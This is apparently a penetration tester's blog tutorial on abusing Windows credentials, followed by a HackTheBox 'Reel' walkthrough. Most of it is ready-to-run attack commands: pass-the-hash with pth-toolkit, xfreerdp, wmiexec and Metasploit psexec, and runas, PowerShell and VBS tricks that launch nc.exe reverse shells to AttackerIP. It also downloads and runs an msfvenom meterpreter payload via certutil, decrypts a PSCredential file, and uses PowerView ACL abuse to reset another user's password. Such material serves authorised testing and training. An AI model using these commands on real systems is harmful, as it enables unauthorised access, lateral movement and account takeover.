Abusing Windows Credentials

8 minute read

During a pentest there is a high chance you’ll stumble across user hashes and credentials. Knowing how to leverage these findings is essential.

Pass the Hash

The Pass The Hash toolkit is a must and covers a wide range of protocols and utilities:

  • pth-net
  • pth-rpcclient
  • pth-smbclient
  • pth-smbget
  • pth-sqsh
  • pth-winexe
  • pth-wmic
  • pth-wmis

The pth-toolkit is avaliable on github and is written by the author of CrackMapExec.

The pth suite tends to follow the format of DOMAIN/user%hash, although this is not always the case. Some common examples:

pth-winexe -U <DOMAIN>/administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.10 cmd
pth-smbclient -U alice1978%0B186E661BBDBDCF6047784DE8B9FD8B --pw-nt-hash \\\\10.10.10.10\\alice -I


Passing the hash via rdp is also possible, I usually use xfreerdp.

apt-get install freerdp-x11
xfreerdp /u:Administrator /pth:e0fb1fb85756c24235ff238cbe81fe00 /v:10.10.10.10


The Impacket toolkit has a handy script for passing the hash, wmiexec.py:

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 administrator@10.10.10.10


Finally the psexec module can be used via Metasploit:

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
msf exploit(psexec) > set SMBUser Administrator 
msf exploit(psexec) > set SMBDomain WORKGROUP
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost AttackerIP
msf exploit(psexec) > set lport Port
msf exploit(psexec) > run
[*] Started reverse TCP handler on AttackIP:Port 
...
[*] Meterpreter session 1 opened (AttackerIP:Port -> TargetIP:49173) 
meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


There are many different ways to pass the hash, but these are by far the most common. Coupled with proxychains and your hash’ll be flying all over the shop.

PsExec


This method is similar to the metasploit module exploit/windows/smb/psexec, except we’ll be executing the command from the windows command line and will be using a clear text password instead.

For the sake of example let’s say we’ve come accross the following credentials: Alice / Password1!. You need to know the machine name and domain of the target host, this can be easily discovered with basic windows post exploitation enumeration.

C:\Users\owned> psexec \\<MACHINE NAME> -u <DOMAIN>\Alice -p Password1! cmd.exe

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>


RunAs


Runas is a great tool for pentesters, but only really useful after you’ve come across stored credentials (cmdkey) or obtained clear text credentials. For the sake of example let’s say we’ve come accross the following credentials: Alice / Password1!

The following examples require uploading a msfvenom reverse shell or nc.exe

C:> C:\Windows\System32\runas.exe /env /noprofile /user:Alice "c:\users\public\nc.exe -nc AttackerIP Port -e cmd.exe"
Enter the password for Alice: Password1!

// listen on the specified port and we'll have a reverse shell as Alice.


PowerShell can also be used to initiate a netcat reverse shell as Alice:

echo $username = 'Alice' > startprocess.ps1
echo $password = 'Password1!' >> startprocess.ps1
echo $securePassword = ConvertTo-SecureString $password -AsPlainText -Force >> startprocess.ps1
echo $credential = New-Object System.Management.Automation.PSCredential $username, $securepassword >> startprocess.ps1
echo Start-Process 'C:\Users\user\nc.exe' -ArgumentList '-e cmd.exe AttackerIP port' -Credential $credential >> startprocess.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File startprocess.ps1

root@kali:~# nc -nlvp Port
...
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Alice\Documents>


This can also be done using Invoke-Command:

echo $Username = 'Alice' > s.ps1
echo $Password = 'Password1!'; >> s.ps1
echo $pass = ConvertTo-SecureString -AsPlainText $Password -Force >> alice.ps1
echo $Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username,$pass >> alice.ps1
echo Invoke-Command -Credential $Cred -ComputerName localhost { C:\temp\nc.exe AttackerIP Port -e cmd.exe } >> alice.ps1

powershell -exec bypass .\alice.ps1

root@kali:~# nc -nlvp Port
...
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Alice\Documents>


VBS Script can be used aswell:

echo Option explicit > run.vbs
echo dim oShell >> run.vbs
echo set oShell= Wscript.CreateObject("WScript.Shell") >> run.vbs
echo oShell.Run "runas /user:Alice ""c:\windows\system32\cmd.exe""" >> run.vbs
echo WScript.Sleep 100 >> run.vbs
echo oShell.Sendkeys "Password1!~" >> run.vbs
echo Wscript.Quit	>> run.vbs

cscript run.vbs

// netcat reverse shell/msfvenom payload can also be used instead of cmd.exe


And finally there’s metasploit module:

msf > use post/windows/manage/run_as
msf post(run_as) > set SESSION <session-id>
msf post(run_as) > set CMD <command to execute>  // nc.exe AttackerIP port -e cmd.exe ,  revsershell.exe etc.
msf post(run_as) > set DOMAIN <domain>
msf post(run_as) > set USER Alice
msf post(run_as) > set PASSWORD Password1!
msf post(run_as) > run


Cmdkey


Cmdkey is a pre-installed Windows tool.

Creates, lists, and deletes stored user names and passwords or credentials.

It’s essentially a credential manager, and these credentials are stored by default in C:\users\username\AppData\Roaming\Microsoft\Credentials\.

Cmdkey can store two types of password. The first is a generic password which can be used anywhere, and the second a domain password which can be used to access a domain server.

Stored credentials can be leveraged to type the contents of files and run executables with the same privileges as the credentials stored. In this example we will be executing a reverse shell with Administrator privileges.

// Check for stored credentials
C:\Users\security>cmdkey /list
  Currently stored credentials:
    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator

// Generate meterpreter reverse shell exe
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=AttackerIP LPORT=Port -f exe -o rev.exe

// Serve file on kali first
C:\Users\security> certutil -urlcache -split -f http://AttackerIP/rev.exe C:\Users\security\rev.exe

// Leverage runas to execute as ACCESS\Admininistrator
C:\Users\security> runas /profile /savecred /user:ACCESS\Administrator "rev.exe"

meterpreter > getuid
Server username: ACCESS\Administrator



PSCredential & Active Directory

PSCredential objects offer a centralised way to manage usernames, passwords, and credentials. Stored in an xml, the documents implement a method of storing user credentials so they are easily parsable to powershell scripts.

The following scenario is from the HackTheBox machine Reel. Reel was one of my favourite boxes and covered various aspects based upon a Windows Active Directory environment and abusing user credentials. We start our journey as the user Nico.


Nico to Tom


Let’s say you were to come across a PSCredential file cred.xml on a compromised Windows host with the contents:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>


The username is clearly stored in plain text, with the password stored as a ‘SecureString’. This string can be converted back into plain text with the following commands and give us Tom’s password:

PS > $creds = Import-CliXml -path "C:\users\nico\desktop\cred.xml"
PS > $creds.getnetworkcredential().password
1ts-mag1c!!!

// or as one line

C:> powershell (Import-Clixml cred.xml).GetNetworkCredential().Password
1ts-mag1c!!!


With Tom’s credentials we can simply find a way to log back in as Tom and continue our priv esc journey. In this scenario it was simple, we just ssh in as Tom.

root@kali:~# ssh tom@10.10.10.77
tom@10.10.10.77's password: 1ts-mag1c!!!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

tom@REEL C:\Users\tom>whoami
htb\tom


Tom to Claire


There just so happened to be the results of an Active Directory audit already present on the box, using the tool Bloodhound.

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attacks can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment.

An acls.csv file is present and contains abusable Access Control Entries (ACEs) against user and group objects in the domain. If we look through the file for entries where tom is the PrincipleName, we’ll find the following information:

ObjectName ObjectType ObjectGuid PrincipalName PrincipalType ActiveDirectoryRights
claire@HTB.LOCAL USER tom@HTB.LOCAL USER WriteOwner

What this tells us is the USER object tom, is able to update the owner of the USER object claire. We’re able to abuse our permissions over Claire’s account and change her credentials to ones of our choosing. This can be achieved using the PowerView.ps1 script from PowerShellEmpire. Using PowerView.ps1 we’ll be taking advantage of the Set-domainObjectOwner cmdlet like so:

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Import-Module .\powerview.ps1
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom))))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL 'ResetPassword' on CN=Claire
Danes,CN=Users,DC=HTB,DC=LOCAL
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL rights GUID
'00299570-246d-11d0-a768-00aa006e0529' on CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL

PS C:\Users\tom\Desktop\AD Audit\BloodHound> $password = ConvertTo-SecureString "1ts-mag1c!!!" -AsPlainText -Force
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -Identity claire -AccountPassword $password


We’ve simply set Tom’s password 1ts-mag1c!!! as Claire’s & are then able to simply ssh in as Claire.

root@kali:~# ssh claire@10.10.10.77
claire@10.10.10.77's password: 1ts-mag1c!!!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

claire@REEL C:\Users\claire> whoami
htb\claire


Claire to Backup_Admins


With our new elevated access level as Claire, we can go back to the acls.csv file we leveraged for Tom, but from Claire’s perspective. If we look through for instances where Claire is the PrincipalName we’ll find the following:

ObjectName ObjectType ObjectGuid PrincipalName PrincipalType ActiveDirectoryRights
Backup_Admins@HTB.LOCAL GROUP claire@HTB.LOCAL USER WriteDacl

WriteDacl gives us the permissions to write a new ACE to the target objects (Backup_Admins) DACL Discretionary Access Control List. Therefore we can simply add claire to the Backup_Admins group:

//powershell
PS C:> Add-ADGroupMember -Identity "Backup_admins" -Members claire  

// net 
net group Backup_Admins claire /add


Checking the permissions of the Administrator directory with icacls we can see HTB\Backup_Admins have (F) Full Access:

claire@REEL C:\Users>icacls Administrator
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
              HTB\Backup_Admins:(OI)(CI)(F)
              HTB\Administrator:(OI)(CI)(F)
              BUILTIN\Administrators:(OI)(CI)(F


The final part of this box goes as follows:

claire@REEL C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is CC8A-33E1

 Directory of C:\Users\Administrator\Desktop

01/21/2018  02:56 PM    <DIR>          .
01/21/2018  02:56 PM    <DIR>          ..
11/02/2017  09:47 PM    <DIR>          Backup Scripts
10/28/2017  11:56 AM                32 root.txt
               1 File(s)             32 bytes
               3 Dir(s)  15,725,092,864 bytes free

claire@REEL C:\Users\Administrator\Desktop>type root.txt
Access is denied.


Check backup scripts directory for clues

claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir
 Volume in drive C has no label.
 Volume Serial Number is CC8A-33E1

 Directory of C:\Users\Administrator\Desktop\Backup Scripts

11/02/2017  09:47 PM    <DIR>          .
11/02/2017  09:47 PM    <DIR>          ..
11/03/2017  11:22 PM               845 backup.ps1
11/02/2017  09:37 PM               462 backup1.ps1
11/03/2017  11:21 PM             5,642 BackupScript.ps1
11/02/2017  09:43 PM             2,791 BackupScript.zip
11/03/2017  11:22 PM             1,855 folders-system-state.txt
11/03/2017  11:22 PM               308 test2.ps1.txt
               6 File(s)         11,903 bytes
               2 Dir(s)  15,725,092,864 bytes free


Checking the contents of BackupScript.ps1 you’ll find:

// admin password
$password="Cr4ckMeIfYouC4n!"


Then we simply ssh in as Administrator and we’re done.

root@kali:~# ssh administrator@10.10.10.77
administrator@10.10.10.77's password: Cr4ckMeIfYouC4n!
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

administrator@REEL C:\Users\Administrator\Desktop>type root.txt
1018a03...